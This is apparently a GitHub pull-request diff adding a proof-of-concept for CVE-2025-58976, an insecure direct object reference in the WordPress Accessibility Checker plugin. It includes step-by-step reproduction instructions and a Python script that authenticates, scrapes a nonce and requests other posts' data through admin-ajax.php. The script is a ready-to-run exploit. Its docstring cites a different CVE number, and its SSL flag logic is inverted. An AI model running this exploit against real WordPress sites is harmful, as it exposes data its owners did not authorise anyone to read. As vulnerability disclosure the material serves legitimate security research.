Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
38 changes: 38 additions & 0 deletions CVE-2025-58976/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
# Vulnerability Overview
The WordPress Accessibility Checker plugin is vulnerable to an Insecure Direct Object Reference ("IDOR") vulnerability affecting all versions up to and including 1.31.0.

Vulnerability discovered by: Minh Giang

Proof-of-concept created by: Minh Giang

# Steps to Reproduce
1. Authenticate to the WordPress Dashboard with an account that has Contributor role and above.
2. Navigate to an existing post that has accessibility issue(s).
3. Within the "Accessibility Checker" panel, click on the Details tab to view the accessibility issue(s).

![CVE-2025-58976-accessibility-issues](images/CVE-2025-58976-accessibility-issues.png)

4. Start a proxy using a tool such as Burp Suite.
5. Expand an issue, click on "View on page", and start intercepting traffic.

![CVE-2025-58976-view-on-page](images/CVE-2025-58976-view-on-page.png)

6. Send the `GET /wp-admin/admin-ajax.php?action=edac_frontend_highlight_ajax` request to Burp Repeater.
7. Authenticate to the WordPress Dashboard with an account that has the Subscriber role (adversary account).
8. Replace the existing cookies in the request sent to Burp Repeater with the adversary session cookies.

![CVE-2025-58976-adversary-session-cookies](images/CVE-2025-58976-adversary-session-cookies.png)

9. Right-click on the WordPress application using the adversary account and click "View Page Source".
10. Look for the `nonce` value and replace the nonce value found in the request with this value.

![CVE-2025-58976-adversary-nonce](images/CVE-2025-58976-adversary-nonce.png)

11. Send the request. Note that the `post_id` parameter can reference any post that require a Simplified Summary.
12. Observe that the accessibility issues of the referenced `post_id` are returned in the response.

![CVE-2025-58976-accessibility-issues-idor](images/CVE-2025-58976-accessibility-issues-idor.png)

# References
- [NVD - CVE-2025-58976](https://nvd.nist.gov/vuln/detail/CVE-2025-58976)
- [Accessibility Checker](https://wordpress.org/plugins/accessibility-checker/)
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
11 changes: 11 additions & 0 deletions CVE-2025-58976/info.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
cve_id: "CVE-2025-58976"
software: "Accessibility Checker"
vulnerability: "Insecure Direct Object Reference"
alises: [
"IDOR",
"Broken Access Control",
"BAC"
]
category: "WordPress Plugin"
version: "<= 1.31.0"
poc_developed_by: "Minh Giang"
87 changes: 87 additions & 0 deletions CVE-2025-58976/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
"""
CVE-2022-29434 - Insecure Direct Object References (IDOR)
Software: WordPress Accessibility Checker plugin
Affected Version(s): <= 1.31.0
Vulnerability discovered by: Minh Giang
Proof-of-concept created by: Minh Giang
"""

import re
import sys
import json
import pprint
import requests
import argparse
from bs4 import BeautifulSoup


def main():
global session, BASE_URL
session = requests.Session()
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="the target server domain name or IP", required=True)
parser.add_argument("-u", "--username", help="the administrator's username", required=True)
parser.add_argument("-p", "--password", help="the administrator's password", required=True)
parser.add_argument("-s", "--skip-ssl", help="skip ssl verification", action="store_false")
parser.add_argument("-i", "--post-id", help="the post_id", required=True)

args = parser.parse_args()

if not args.skip_ssl:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session.verify = args.skip_ssl

BASE_URL = args.target
POST_ID = args.post_id

authenticate(args.username, args.password)
get_issues(POST_ID)

def authenticate(USERNAME, PASSWORD):
print("[*] Authenticating to the WordPress Dashboard.")
session.get(BASE_URL + "/wp-login.php")
data = {
"log": USERNAME,
"pwd": PASSWORD,
"wp-submit": "Log In",
"redirect_to": BASE_URL + "/wp-admin/",
"testcookie": "1"
}
r = session.post(BASE_URL + "/wp-login.php", data=data, allow_redirects=True)

if "Dashboard" in r.text:
print("[+] Logged in successfully.")
else:
print("[-] Failed to authenticate to the application.")
sys.exit()

def get_nonce():
r = session.get(BASE_URL + "/wp-admin/profile.php")
soup = BeautifulSoup(r.text, 'html.parser')
script_tag = soup.find('script', {'id': 'edac-js-extra'})
script_content = script_tag.string
nonce_match = re.search(r'"nonce":"([a-f0-9]+)"', script_content)
if nonce_match:
nonce = nonce_match.group(1)
print("[+] The nonce value is " + nonce)
return nonce
else:
print("[-] The nonce was not found.")
sys.exit()

def get_issues(POST_ID):
print(f"[*] Attempting to retrieve issues for post_id={POST_ID}")
query = f"/wp-admin/admin-ajax.php?action=edac_frontend_highlight_ajax&post_id={POST_ID}&nonce={get_nonce()}"
r = session.get(BASE_URL + query)
success = r.json()["success"]
if success:
print(f"[+] Successfully retrieved issues for post_id={POST_ID}")
content = json.loads(r.json()["data"])
pprint.pprint(content)
else:
print("[-] Something went wrong.")
sys.exit()

if __name__ == "__main__":
main()
3 changes: 3 additions & 0 deletions CVE-2025-58976/requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
requests
argparse
beautifulsoup4